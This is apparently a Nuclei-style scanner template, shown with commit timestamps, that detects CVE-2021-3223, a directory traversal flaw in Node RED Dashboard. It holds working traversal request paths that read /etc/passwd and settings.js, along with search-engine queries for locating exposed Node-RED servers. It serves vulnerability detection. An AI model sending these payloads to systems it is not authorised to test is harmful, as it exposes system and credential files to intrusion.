2021-06-24 12:07:17 +00:00
id : CVE-2021-3223
info :
2022-07-26 13:45:11 +00:00
name : Node RED Dashboard <2.26.2 - Local File Inclusion
2021-07-31 09:12:48 +00:00
author : gy741,pikpikcu
2021-06-24 12:07:17 +00:00
severity : high
2022-07-26 13:45:11 +00:00
description : NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Node RED Dashboard to version 2.26.2 or later to mitigate the vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-06-24 12:07:17 +00:00
- https://github.com/node-red/node-red-dashboard/issues/669
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
2022-05-17 09:18:12 +00:00
- https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-3223
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-3223
cwe-id : CWE-22
2024-03-23 09:28:19 +00:00
epss-score : 0.09614
epss-percentile : 0.94637
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:nodered:node-red-dashboard:*:*:*:*:*:node.js:*:*
2022-05-11 13:02:11 +00:00
metadata :
2022-05-11 13:09:39 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : nodered
product : node-red-dashboard
2023-09-06 12:09:01 +00:00
framework : node.js
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"Node-RED"
- http.title:"node-red"
fofa-query :
- title="Node-RED"
- title="node-red"
2024-05-31 19:23:20 +00:00
google-query : intitle:"node-red"
2023-12-05 09:50:33 +00:00
tags : cve,cve2021,node-red-dashboard,lfi,nodered,node.js
2021-06-24 12:07:17 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-24 12:07:17 +00:00
- method : GET
path :
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
2021-07-31 09:12:48 +00:00
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'
2021-06-24 12:07:17 +00:00
2021-08-01 19:41:43 +00:00
matchers-condition : or
2021-06-24 12:07:17 +00:00
matchers :
2021-07-31 09:12:48 +00:00
- type : word
2021-08-01 19:41:43 +00:00
part : body
2021-07-31 09:12:48 +00:00
words :
- "Node-RED web server is listening"
2023-07-11 19:49:27 +00:00
- type : regex
part : body
regex :
- "root:.*:0:0:"
2024-06-08 16:02:17 +00:00
# digest: 490a0046304402202670e85cee6ac1c14bec5a1cae966f5371ff911930beca339a2ed511e13ec10f02203e011c781a7c50c27fd7da696e81e67009c165b06ac48d75d2f42d8ebd0e23c4:922c64590222798bb761d5b6d8e72950